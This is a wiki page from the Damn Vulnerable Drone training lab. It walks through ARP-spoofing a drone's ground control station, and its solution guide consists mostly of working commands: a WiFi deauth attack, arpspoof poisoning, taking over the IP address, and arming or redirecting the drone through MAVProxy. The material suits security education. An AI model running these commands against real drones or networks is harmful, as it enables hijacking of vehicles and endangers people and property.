Ground Control Station Spoofing - nicholasaleks/Damn-Vulnerable-Drone GitHub Wiki
ARP spoofing the Ground Control Station (GCS) to intercept and control communication between the drone and the GCS.
Damn Vulnerable Drone > Attack Scenarios > Injection > Ground Control ARP Spoofing
ARP spoofing involves sending false ARP (Address Resolution Protocol) messages to a network, associating the attacker's MAC address with the IP address of the target device (the GCS in this case). This allows the attacker to intercept, modify, or block communication to the target device, effectively taking control of the drone's communication.
The goal of this attack is to impersonate the GCS by taking over its IP address after disconnecting the real GCS from the network. Once assumed, the attacker can directly interact with the drone using QGroundControl or MAVProxy.
⚠️ Solution Guide
Power on the drone and ensure it is connected to its WiFi network.
Use WiFi cracking techniques to access the network. See:
Disconnect the real GCS from the network using a deauth attack:
sudo aireplay-ng --deauth 0 -a <AP_MAC> -c <GCS_MAC> wlan0mon
wget https://s3-us-west-2.amazonaws.com/qgroundcontrol/latest/QGroundControl.AppImage
chmod +x QGroundControl.AppImage
./QGroundControl.AppImage
sudo pip install MAVProxy
mavproxy.py
ifconfig wlan0
Impersonate the GCS by poisoning the ARP table of the drone:
sudo arpspoof -i wlan0 -t 192.168.13.14 -r 192.168.13.1
nmcli connection modify "Drone_Wifi" ipv4.method manual \
ipv4.addresses 192.168.13.14/24 \
ipv4.gateway 192.168.13.1 \
ipv4.dns "8.8.8.8 8.8.4.4"
nmcli connection down "Drone_Wifi" && nmcli connection up "Drone_Wifi"
Once the GCS is spoofed and reconnected, the drone should attempt to link to your machine assuming the GCS role.
- Right-click → "Go To" position
- Select "RTL" or "Land" from the mode dropdown
mode GUIDED
arm throttle
-
rtl
,land
, etc.
nmcli connection modify "Drone_Wifi" ipv4.method manual \
ipv4.addresses 192.168.13.10/24 \
ipv4.gateway 192.168.13.1 \
ipv4.dns "8.8.8.8 8.8.4.4"
nmcli connection down "Drone_Wifi" && nmcli connection up "Drone_Wifi"